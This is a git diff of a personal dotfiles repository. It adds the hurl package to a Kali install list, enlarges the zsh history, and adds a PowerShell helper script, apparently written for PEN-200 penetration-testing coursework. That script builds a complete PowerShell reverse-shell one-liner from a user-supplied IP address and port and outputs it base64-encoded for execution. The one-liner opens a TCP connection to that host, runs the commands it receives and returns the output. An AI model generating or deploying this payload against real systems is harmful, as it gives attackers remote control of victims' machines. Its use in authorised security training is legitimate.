diff --git a/.chezmoiscripts/linux/run_onchange_before_10_installs.sh.tmpl b/.chezmoiscripts/linux/run_onchange_before_10_installs.sh.tmpl index 249d4a6..ec28d9c 100644 --- a/.chezmoiscripts/linux/run_onchange_before_10_installs.sh.tmpl +++ b/.chezmoiscripts/linux/run_onchange_before_10_installs.sh.tmpl @@ -44,6 +44,7 @@ packages=( {{ if eq .osid "linux-kali" }} sec_packages=( + "hurl" "gobuster" "seclists" ) diff --git a/bin/base64convert.ps1 b/bin/base64convert.ps1 new file mode 100755 index 0000000..38c80f0 --- /dev/null +++ b/bin/base64convert.ps1 @@ -0,0 +1,34 @@ +#!/usr/bin/env pwsh + +# Cf. PEN-200, 9.3.1, Listing 32 - Encoding the oneliner in PowerShell on Linux +# https://portal.offsec.com/courses/pen-200/books-and-videos/modal/modules/common-web-application-attacks/file-upload-vulnerabilities/using-executable-files + +# Prompt for IP Address +$ipAddress = Read-Host -Prompt "Enter the IP address" + +# Validate the IP Address +if (-not [System.Net.IPAddress]::TryParse($ipAddress, [ref]$null)) { + Write-Host "Invalid IP address format. Please enter a valid IP address." + exit +} + +# Prompt for Port Number +$portNumber = Read-Host -Prompt "Enter the port number" + +# Validate the Port Number +if ($portNumber -notmatch '^\d+$' -or $portNumber -lt 0 -or $portNumber -gt 65535) { + Write-Host "Invalid port number. Please enter a port number between 0 and 65535." + exit +} + +# Construct the $Text string with variable expansion +$Text = "`$client = New-Object System.Net.Sockets.TCPClient('$ipAddress',$portNumber);`$stream = `$client.GetStream();[byte[]]`$bytes = 0..65535|%{0};while((`$i = `$stream.Read(`$bytes, 0, `$bytes.Length)) -ne 0){;`$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$bytes,0, `$i);`$sendback = (iex `$data 2>&1 | Out-String );`$sendback2 = `$sendback + 'PS ' + (pwd).Path + '> ';`$sendbyte = ([text.encoding]::ASCII).GetBytes(`$sendback2);`$stream.Write(`$sendbyte,0,`$sendbyte.Length);`$stream.Flush()};`$client.Close()" + +$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text) + +$EncodedText =[Convert]::ToBase64String($Bytes) + +$EncodedText + +# Output the constructed string (for verification or debugging) +Write-Host $EncodedText diff --git a/zsh/config.zsh b/zsh/config.zsh index a2c6119..6975495 100644 --- a/zsh/config.zsh +++ b/zsh/config.zsh @@ -12,8 +12,8 @@ setopt EXTENDED_GLOB # treat #, ~, and ^ as part of patterns for filename genera # ===== History HISTFILE=~/.zsh_history -HISTSIZE=10000 -SAVEHIST=10000 +HISTSIZE=1000000 +SAVEHIST=1000000 setopt APPEND_HISTORY # Allow multiple terminal sessions to all append to one zsh command history setopt EXTENDED_HISTORY # add timestamps to history